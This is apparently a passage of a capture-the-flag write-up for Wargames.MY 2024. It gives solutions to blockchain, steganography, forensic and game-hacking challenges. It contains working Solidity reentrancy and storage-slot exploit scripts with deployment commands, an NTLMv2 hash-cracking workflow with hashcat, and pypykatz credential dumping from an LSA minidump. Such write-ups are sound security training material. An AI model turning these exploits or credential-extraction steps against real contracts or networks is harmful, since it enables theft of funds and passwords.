address challengeAddr = getChallengeAddress(); console.log("[+] Challenge Address:", challengeAddr); IDungeonsAndDragons challenge = IDungeonsAndDragons(challengeAddr); // Step 2: Create a character with 0.1 ETH console.log("[+] Creating character..."); challenge.createCharacter{value: 0.1 ether}("MyHero", 3); // Step 3: Create a super-weak monster console.log("[+] Creating a weak monster..."); challenge.createMonster("Weakling", 1, 1); // Step 4: Fight the monster repeatedly to level up console.log("[+] Fighting the monster..."); for (uint256 i = 0; i < 19; i++) { challenge.fightMonster(0); } // Step 5: Defeat the final dragon console.log("[+] Fighting the final dragon..."); challenge.finalDragon(); vm.stopBroadcast(); } function getChallengeAddress() internal view returns (address) { // Call the setup contract to retrieve the challenge address (bool success, bytes memory data) = SETUP_ADDR.staticcall( abi.encodeWithSignature("challengeInstance()") ); require(success, "Failed to get challenge address"); return abi.decode(data, (address)); } } ``` ``` forge script script/Exploit.s.sol --broadcast --rpc-url $RPC_URL --private-key $PRIVATE_KEY ``` ``` Flag: wgmy{ff3d6f1db65a7c5e9da544a5dcbe3599} ``` ### Guess it ```solidity pragma solidity ^0.8.20; contract EasyChallenge { uint constant isKey = 0x1337; bool public isKeyFound; mapping (uint => bytes32) keys; constructor() { keys[isKey] = keccak256( abi.encodePacked(block.number, msg.sender) ); } function unlock(uint slot) external { bytes32 key; assembly { key := sload(slot) } require(key == keys[isKey]); isKeyFound = true; } } ``` There’s a mapping called keys that stores a value for each key. For `keys[0x1337]`, the value is set to a hash (keccak256) of the block number and the deployer’s address during the contract's creation. **The unlock(uint slot) function:** Reads the value stored at the memory location (slot) provided by the caller. - Compares this value to `keys[0x1337]`, which is the key stored in the contract. - If the two values match, it sets `isKeyFound` to true. This means to unlock the contract, you must provide the exact memory location where `keys[0x1337]` is stored. You can just solve it using `bash` + `cast`. ```bash #!/usr/bin/env bash # ------------------------------------------------------ # 1) Environment # ------------------------------------------------------ RPC_URL="http://blockchain.wargames.my:4447/7901e094-b32a-4a3c-970c-c8d04e4f5322" SETUP_ADDR="0xcFB16E05de5dc1FDb53569DF76fbdDDB8F7e44D3" PRIVATE_KEY="0x3583fd4d92c9825424cf238017643554ec13a3189fd6c5f157cb74f561519621" # ------------------------------------------------------ # 2) Get the EasyChallenge contract address # ------------------------------------------------------ CHALLENGE_ADDR=$(cast call "$SETUP_ADDR" \ "challengeInstane()(address)" \ --rpc-url "$RPC_URL") echo "[+] EasyChallenge address: $CHALLENGE_ADDR" # ------------------------------------------------------ # 3) Calculate the correct storage slot for keys[0x1337] # mapping is at slot 1, so location is keccak256(0x1337, 1) # ------------------------------------------------------ DATA="0x00000000000000000000000000000000000000000000000000000000000013370000000000000000000000000000000000000000000000000000000000000001" SLOT=$(cast keccak "$DATA") echo "[+] Calculated slot: $SLOT" # ------------------------------------------------------ # 4) Call unlock(slot) on the actual challenge contract # ------------------------------------------------------ cast send "$CHALLENGE_ADDR" \ "unlock(uint256)" "$SLOT" \ --rpc-url "$RPC_URL" \ --private-key "$PRIVATE_KEY" ``` ``` Flag: wgmy{85e5f76ac597ec9234fa3bd968c3d83b} ``` ### Death Star 2.0 This is a Reentrancy Attack challenge. Below is the Exploit Script: ```solidity= pragma solidity ^0.8.18; import "forge-std/Test.sol"; import "../contracts/Setup.sol"; contract ExploitScript is Test { Setup public setupini; DeathStar public deathStar; DarksidePool public darksidePool; function initialize(address setupAddress) external { setupini = Setup(setupAddress); deathStar = setupini.deathStar(); darksidePool = setupini.darksidePool(); } receive() external payable { if (address(deathStar).balance > 0) { uint256 amount = address(deathStar).balance > 1 ether ? 1 ether : address(deathStar).balance; deathStar.withdrawEnergy(amount); } } function exploit() public { darksidePool.depositToStarWars{value: 1 ether}(); deathStar.withdrawEnergy(1 ether); } function executeExploit() external payable { require(msg.value >= 1 ether, "At least 1 ETH is required"); exploit(); } } ``` And the automation of executing exploit script is as follow: ```bash= #!/bin/bash # Configuration Variables setup_addr="0xbDe67eae954491a9FF9bfd6E242bB358eeb20F3d" RPCEndpoint="http://blockchain.wargames.my:4446/6d527831-b9b6-44e0-b690-12d7a2e94a26" PrivateKey="0x6729b0d8db090a631d87e1444603e0c24342d4f6a1d1ae667fc71f1c42b6f7af" Wallet="0xf50ABb53576e601b075E681Fc721f1d2782175FE" echo "Executing Forge build..." forge build echo "Compile run successfully" # Get DeathStar address echo "Fetching DeathStar address..." deathStarAddr=$(cast call "$setup_addr" "deathStar() (address)" --rpc-url "$RPCEndpoint") echo "DeathStar address: $deathStarAddr" # Get DarksidePool address echo "Fetching DarksidePool address..." darksidePoolAddr=$(cast call "$setup_addr" "darksidePool() (address)" --rpc-url "$RPCEndpoint") echo "DarksidePool address: $darksidePoolAddr" # Get DeathStar balance echo "Fetching DeathStar balance..." deathStarBalance=$(cast balance "$deathStarAddr" --rpc-url "$RPCEndpoint") echo "DeathStar balance: $deathStarBalance" # Get DarksidePool balance echo "Fetching DarksidePool balance..." darksidePoolBalance=$(cast balance "$darksidePoolAddr" --rpc-url "$RPCEndpoint") echo "DarksidePool balance: $darksidePoolBalance" # Deploy ExploitScript echo "Deploying ExploitScript..." deployTx=$(forge create script/Exploit.sol:ExploitScript \ --rpc-url "$RPCEndpoint" \ --private-key "$PrivateKey" \ --broadcast) exploitAddr=$(echo "$deployTx" | grep "Deployed to:" | cut -d' ' -f3) echo "ExploitScript deployed to: $exploitAddr" # Send Setup Address echo "Updating Setup Address..." setupAddrOutput=$(cast send $exploitAddr "initialize(address)" \ $setup_addr \ --rpc-url "$RPCEndpoint" \ --private-key "$PrivateKey") setupAddrUpdateStatus=$(echo "$setupAddrOutput" | grep "status" | cut -d'(' -f2 | sed 's/.$//') echo "Setup Address update status : $setupAddrUpdateStatus" # Execute the exploit echo "Executing exploit..." expOutput=$(cast send "$exploitAddr" "executeExploit()" \ --rpc-url "$RPCEndpoint" \ --private-key "$PrivateKey" \ --value 1000000000000000000 \ --gas-limit 1000000) expStatus=$(echo "$expOutput" | grep "status" | cut -d'(' -f2 | sed 's/.$//') echo "Exploit status : $expStatus" # Check if challenge is solved echo "Checking if the challenge is solved..." isSolved=$(cast call "$setup_addr" "isSolved() (bool)" --rpc-url "$RPCEndpoint") if [ "$isSolved" == "true" ]; then echo "Challenge solved!" else echo "Challenge not solved yet. Debug further." fi # Fetch updated DeathStar balance echo "Fetching updated DeathStar balance..." updatedDeathStarBalance=$(cast balance "$deathStarAddr" --rpc-url "$RPCEndpoint") echo "Updated DeathStar balance: $updatedDeathStarBalance" ``` ![image](https://hackmd.io/_uploads/B1VNwdCBye.png) ![image](https://hackmd.io/_uploads/Hy1Sw_CSye.png) ## Misc ### Christmas GIFt For this challenge I just opened the `.gif` file in my Preview and I can see the flag is in the last frame. ![image](https://hackmd.io/_uploads/HymMWcaHyl.png) ``` Flag: wgmy{1eaa6da7b7f5df6f7c0381c8f23af4d3} ``` ### The DCM Meta No idea what is this, but chatgpt give me this script. ```python hex_string = """ 110010000400000057474d5911000010040000006600000011000110040000003600000011000210040000003300000011000310040000006100000011000410040000006300000011000510040000006400000011000610040000003300000011000710040000006200000011000810040000003700000011000910040000003800000011000a10040000003100000011000b10040000003200000011000c10040000003700000011000d10040000006300000011000e10040000003100000011000f10040000006400000011001010040000003700000011001110040000006400000011001210040000003300000011001310040000006500000011001410040000003700000011001510040000003000000011001610040000003000000011001710040000006200000011001810040000003500000011001910040000003500000011001a10040000003600000011001b10040000003600000011001c10040000003500000011001d10040000003300000011001e10040000003500000011001f100400000034000000 """.replace('\n', '').replace(' ', '') # Convert hex string to bytes byte_data = bytes.fromhex(hex_string) values = [] offset = 0 element_index = 0 while offset < len(byte_data): # Read tag (4 bytes) tag_bytes = byte_data[offset:offset+4] offset += 4 # Read length (4 bytes) length_bytes = byte_data[offset:offset+4] offset += 4 # Convert length to integer length = int.from_bytes(length_bytes, byteorder='little') # Read value (length bytes) value_bytes = byte_data[offset:offset+length] offset += length # Store the value values.append((tag_bytes, length, value_bytes)) element_index += 1 # Collect characters characters = [] for i, value_tuple in enumerate(values): value_bytes = value_tuple[2] try: if i == 0: # First element 'wgmy' value_str = value_bytes.decode('ascii') print(f"Index {i}: {value_str}") # Do not include in characters list else: value_str = value_bytes.decode('utf-16le').strip('\x00') print(f"Index {i-1}: {value_str}") characters.append(value_str) except UnicodeDecodeError: continue # Provided index list index_list = [25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12] # Rearrange characters using the index list rearranged_characters = [characters[i] for i in index_list] # Assemble the rearranged string rearranged_string = ''.join(rearranged_characters) print("\nRearranged string:", rearranged_string) # Prepare the flag flag = f"wgmy{{{rearranged_string}}}" print("\nFlag is:", flag) ``` ``` Flag: wgmy{51fadeb6cc77504db336850d53623177} ``` ### Invisible Ink > The flag is hidden somewhere in this GIF. You can't see it? Must be written in transparent ink. > > Author: Yes > > <details> > <summary>Hint</summary> > Look into the GIF file format itself and how it handles transparency > </details> > > ![challenge](https://hackmd.io/_uploads/rk_ZxCTr1e.gif) A GIF file was given. Open with [stegsolve](https://wiki.bi0s.in/steganography/stegsolve/) Analyse > Frame Browser. Save the 2 noisy frames. ![image](https://hackmd.io/_uploads/H1-J-06H1x.png) Open the saved frames one by one. Use Random colour map filter until the text can be clearly seen. ![image](https://hackmd.io/_uploads/HJ2S-C6rke.png) Save both of these images. To combine them, open your favourite photo editor, stack the images on top of each other and make the upper layer 50% opacity. ![image](https://hackmd.io/_uploads/HypdZAaByg.png) Flag: `wgmy{d41d8cd98f00b204e9800998ecf8427e}` ### Watermarked? > Got this from social media, someone said it's watermarked, is it? > > Author: zx > > <details> > <summary>Hint</summary> > We can now Watermark Anything! > </details> The challange consists of a GIF file with a WGMY badge rotating. We couldn't figure out anything until the hint was released, which is a dead giveaway of the watermark method used, Meta's [Watermark Anything](https://github.com/facebookresearch/watermark-anything). We first extract all frames from the GIF file by running the following ffmpeg command: ```sh ffmpeg -i watermarked.gif -vsync 0 wmark_frames/frame_%d.png ``` Then, we open the [colab notebook](https://colab.research.google.com/github/facebookresearch/watermark-anything/blob/main/notebooks/colab.ipynb#scrollTo=JN6MaAv_x6p2) given in the Watermark Anything repository and scroll to the section with watermark prediction. We upload our images and alter the code as follows: ```py # define a 32-bit message to be embedded into the images # wm_msg = wam.get_random_msg(1) # [1, 32] # print(f"Original message to hide: {msg2str(wm_msg[0])}") # Iterate over each image in the directory for img_ in (f"frame_{i}.png" for i in range(1, 66)): # Detect the watermark in the watermarked image img_w = load_img(os.path.join(output_dir, img_)) preds = wam.detect(img_w)["preds"] # [1, 33, 256, 256] mask_preds = F.sigmoid(preds[:, 0, :, :]) # [1, 256, 256], predicted mask bit_preds = preds[:, 1:, :, :] # [1, 32, 256, 256], predicted bits # Predict the embedded message and calculate bit accuracy pred_message = msg_predict_inference(bit_preds, mask_preds).cpu().float() # [1, 32] print(msg2str(pred_message[0])) ``` After running it, we will get a bunch of text in binary, which we will then put into [any](https://cryptii.com/) [decoder](https://gchq.github.io/CyberChef/) [tool](https://kt.gy/tools.html#conv/) to get the plaintext. ![image](https://hackmd.io/_uploads/S1gSB50rJg.png) Decoded plaintext: ```! Wargames.MY is a 24-hour online CTF hacking game. Well, it is a competition of sorts. Congrats on solving this challenge! This is for you: wgmy{2cc46df0fb62c2a92732a4d252b8d9a7}. Thanks for playing with us. We hope you enjoy solving our challenges. -- WGMY2024 ``` Flag: `wgmy{2cc46df0fb62c2a92732a4d252b8d9a7}` ## Forensic ### I Cant Manipulate People Data is hidden in ICMP packet, therefore we can use the following command to extract it: ``` tshark -r traffic.pcap -T fields -e data.data -Y 'icmp' | xargs -I{} printf "\\x{}"; echo ``` ![image](https://hackmd.io/_uploads/BkYrrLRHye.png) ### Unwanted Meow My method was to replace/clean "meow" in the file then keep opening the image for each "meow" cleaned. ```python from PIL import Image import io # Open the original file with open("flag.jpeg", "rb") as f: data = f.read() # Counter to track how many "meow" sequences are replaced counter = 0 # Continue processing as long as "meow" is found while b"meow" in data: # Replace the first occurrence of "meow" data = data.replace(b"meow", b"", 1) counter += 1 # Try to display the image in real-time try: img = Image.open(io.BytesIO(data)) img.show(title=f"Step {counter}") except Exception as e: print(f"Step {counter}: Image corrupted or not fully recoverable yet. Error: {e}") print("All 'meow' sequences removed. Final data cleaned.") ``` ``` Flag: WGMY{4a4be40c96ac6314e91d93f38043a634} ``` ### Tricky Malware > My SOC detected there are Ransomware that decrypt file for fun. The script kiddies is so tricky. Here some evidence that we successfully retrieve. > > Author: 4jai > > `File: http://files.wargames.my/2024/Evidence.rar` > > <details> > <summary>Hint</summary> > The malware seems trying to establish connection to mothership. I wonder where is it. > </details> The challenge comes with the following files: ```ls -rwxrwxrwx 1 sc sc 1073741824 Dec 24 20:01 memdump.mem -rwxrwxrwx 1 sc sc 19086 Dec 24 20:05 network.pcap ``` Pretaining to the hint, we check the hosts contacted in the pcap file (which only contains DNS and TCP handshake requests). Among them, `pastebin.com` looks most suspicious. ![image](https://hackmd.io/_uploads/H1Lfwc0SJx.png) We therefore do a simple grep of `pastebin` strings in the memory dump. ![image](https://hackmd.io/_uploads/r1elO9CSyg.png) Surprisingly enough, it came up with one valid pastebin URL which spits the flag upon visiting, I can't believe my luck. The flag popped before I can fix my [volatility](https://github.com/volatilityfoundation/volatility) to properly parse the memdump, so there's that, we move on :) Flag: `WGMY{8b9777c8d7da5b10b65165489302af32}` ### Oh Man > We received a PCAP file from an admin who suspects an attacker exfiltrated sensitive data. Can you analyze the PCAP file and uncover what was stolen? > > Zip Password: `wgmy` > > Author: h0j3n > > <details> > <summary>Hint</summary> > Investigate the tool used by the attacker > </details> A PCAP file was given which contains many Encrypted SMB3 packets. ![image](https://hackmd.io/_uploads/ByJ8QC6rJe.png) This [tutorial](https://malwarelab.eu/posts/tryhackme-smb-decryption/#method-3-decrypting-smb-with-the-captured-traffic-only) provided useful information on how to proceed, exact steps will be described below. We need to crack the NTLM password in order to decrypt the packets. To do this, we need to craft a hash in the following format for hashcat. ``` username::domain:ntlmserverchallenge:ntproofstr:rest_of_ntresponse ``` We can use these two commands to get the fields we needed. ```sh # username domain ntproofstr ntresponse tshark -n -r wgmy-ohman.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.ntresponse # ntlmserverchallenge tshark -n -r wgmy-ohman.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge ``` > PS: `rest_of_ntresponse` should exclude the `ntproofstr` prefix, it should start with `0101...` which yields the following: ``` Administrator::DESKTOP-PMNU0JK:7aaff6ea26301fc3:ae62a57caaa5dd94b68def8fb1c192f3:01010000000000008675779b2e57db01376f686e57504d770000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b00070008008675779b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:a1adc9d0bfe2c7c1:d43050f791ffabb9000c94bc5261ec52:0101000000000000fffb809b2e57db015569395a4c546b720000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800fffb809b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:e9cc7c3171bb95b9:4dd18b7e39dfe0538da53182e84a2f7c:010100000000000035878a9b2e57db0179363032797135620000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b000700080035878a9b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:ce1e228fd442539e:f1de649eca87cd4430df45334ede036b:0101000000000000c312949b2e57db01514b36414d6e6b6f0000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800c312949b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:87c2136c9e0cfc7c:6035de8eeaaccc30c4d0cf61c2ff1857:0101000000000000e3479b9b2e57db015630475a6e64616a0000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800e3479b9b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:ad2f8a3f8191cfd6:d3b84a34cd713b950bae5dd8a9fb1523:0101000000000000e68df29c2e57db01436a6e6a5a5763420000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800e68df29c2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:e3badcd0e2b0bde3:e840e74381ba416e3388006dce09a68d:0101000000000000cb78fe9c2e57db0134436f45673271510000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800cb78fe9c2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:fec80d9eb9c0249b:7e3b131e980a621eddb57dd19c7565ba:0101000000000000c303089d2e57db0163597878514a54790000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800c303089d2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 Administrator::DESKTOP-PMNU0JK:fd50cb1c5db59df1:e0e5937fef061d32f900e88d4d646b31:0101000000000000bf390f9d2e57db0159584666475750510000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0007000800bf390f9d2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000 ``` After obtaining the hashes, we run hashcat with [rockyou](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz) to crack them. ``` hashcat -O -a 0 -m 5600 ntlm.txt rockyou.txt ``` The password `password<3` is cracked after a short while. ![image](https://hackmd.io/_uploads/r1t3wCTrJg.png) In Wireshark, we go to **Edit > Preferences > Protocols > NTLMSSP** and set the **NT Password** field to the cracked password. ![image](https://hackmd.io/_uploads/By8EdRTryg.png) After applying, we can see that SMB traffic are automatically decrypted. Next, we go to **File > Export Objects > SMB...** to dump files sent through SMB. ![image](https://hackmd.io/_uploads/ryvcOC6B1l.png) The file `RxHmEj` contains this, telling us that `20241225_1939.log` is a minidump file: ``` The minidump has an invalid signature, restore it running: scripts/restore_signature 20241225_1939.log Done, to get the secretz run: python3 -m pypykatz lsa minidump 20241225_1939.log ``` We restore the signature of the file by replacing the first 4 bytes to `MDMP` (little endian), as described [here](https://snyk.io/advisor/python/minidump/functions/minidump.header.MinidumpHeader). ![image](https://hackmd.io/_uploads/SJQHK0aSye.png) After that, run `py -m pypykatz lsa minidump 20241225_1939.log` and obtain the flag. ![image](https://hackmd.io/_uploads/BkDHqRaBJl.png) Flag: `wgmy{fbba48bee397414246f864fe4d2925e4}` ## Game ### World 1 > Game hacking is back! > > Can you save the princess? > > White screen? That is a part of the challenge, try to overcome it. > > Author: Trailbl4z3r & Monaruku > > <details> > <summary>Hint</summary> > The category stand for Game Hacking, hack it! > </details> #### Hacking the game We got an exe file. Upon executing it we can find out it's a game made using RPG Maker MZ. ![image](https://hackmd.io/_uploads/BJ9DhR6Syl.png) To win the game, we can modify our save file in the `save` directory using tool such as [this](https://www.save-editor.com/tools/rpg_tkool_mz_save.html). `file0.rmmzsave` stores the most important save data. We edit it and make ourselves invincible by setting all status value to 9999. ![image](https://hackmd.io/_uploads/SJ2haR6SJe.png) Download and replace the original save file, then reload the game to play using the edited status. Now that we can 1 hit all enemies, we can obtain a few flags in game. Part 1, 2, 5: ![image](https://hackmd.io/_uploads/BkLAACaBJe.png) ![image](https://hackmd.io/_uploads/ByJNRRaS1g.png) Part 3: ![image](https://hackmd.io/_uploads/BJm8C0pByg.png) #### Extracting game files That left us with Part 4 of the flag missing. By opening the executable as zip we can see the following: ![image](https://hackmd.io/_uploads/HkissCpBye.png) From the `.enigma1` file we know that it is packed with [Enigma Virtual Box](https://enigmaprotector.com/en/downloads/changelogenigmavb.html). Therefore we use [evbunpack](https://github.com/mos9527/evbunpack) to unpack the files. ``` evbunpack "World I.exe" output ``` After we have the full game directory, we can use [gameripper](https://gitlab.com/gameripper/gameripper) to parse the game assets. Here, we can see that flag Part 4 is drew on the volcano map. ![image](https://hackmd.io/_uploads/rkXfxJAH1e.png) As a bonus, we also discover the other parts of flag exists in game data. Flag 1, 2, 5 (name) in `data/CommonEvents.json`: ![image](https://hackmd.io/_uploads/Sy1ulkCrkg.png) Flag 3 in `data/Map004.json`: ![image](https://hackmd.io/_uploads/S1PTx1AHyg.png) Flag: `wgmy{5ce7d7a7140ebabf5cd43effd3fcaac2}` ### World 2 > Welp, time to do it again. > > Unable to install? That is a part of the challenge, try to overcome it. > > Author: Trailbl4z3r & Monaruku > > <details> > <summary>Hint</summary> > Tbh this is not a natively built app, more like something just wrapped into an app > </details> Having previous knowledge, we open the apk file provided as a zip and extract the following files: ``` assets/www/data/CommonEvents.json assets/www/data/Map004.json assets/www/data/Map007.json assets/www/img/pictures/QR Code 5A.png_ ``` Part 1, 2, 5 (name): ![image](https://hackmd.io/_uploads/B1RZz10Hkx.png) Part 3: ![image](https://hackmd.io/_uploads/SyNBfkCSyx.png) Part 4: Import `Map007.json` to World 1's game data for gameripper to detect and render. ![image](https://hackmd.io/_uploads/B13tSyArJx.png) Part 5 (image): We use [Petschkos RPG-Maker MZ-File Decrypter](https://petschko.org/tools/mv_decrypter/#restore-images) to decrypt the `.png_` files to `.png`. ![QR Code 5A](https://hackmd.io/_uploads/HkhjGyASyl.png) Flag: `wgmy{4068a87d81d8c901043885bac4f51785}` ### World 3 > Welp, time to do it again and again. > > Pw: WGMY2024 > > Author: Trailbl4z3r & Monaruku > > Link: https://monaruku.itch.io/wgmy2024 > > <details> > <summary>Hint</summary> > No file this time, but it is still doable, your browser is powerful. > </details> This time our battlefield has moved to itch.io. Upon starting the game, in devtools network monitor we can see the game is loading its files from the path `https://html-classic.itch.zone/html/12358649/...`. ![image](https://hackmd.io/_uploads/B1zu4y0H1l.jpg) We can utilise this to extract the files we want, which are: ``` data/CommonEvents.json data/Map004.json data/Map007.json img/pictures/QR Code 5W.png_ ``` Once we got the files, we can solve exactly like the previous one. Part 1, 2, 5 (name): ![image](https://hackmd.io/_uploads/HydySkCr1e.png) Part 3: ![image](https://hackmd.io/_uploads/SkmUryASyg.png) Part 4: ![image](https://hackmd.io/_uploads/r1-e71CB1l.png) Part 5 (image): ![QR Code 5W](https://hackmd.io/_uploads/ry2qSkAH1e.png) Flag: `wgmy{811a332e71b5d4651edd3ddcace5b748}`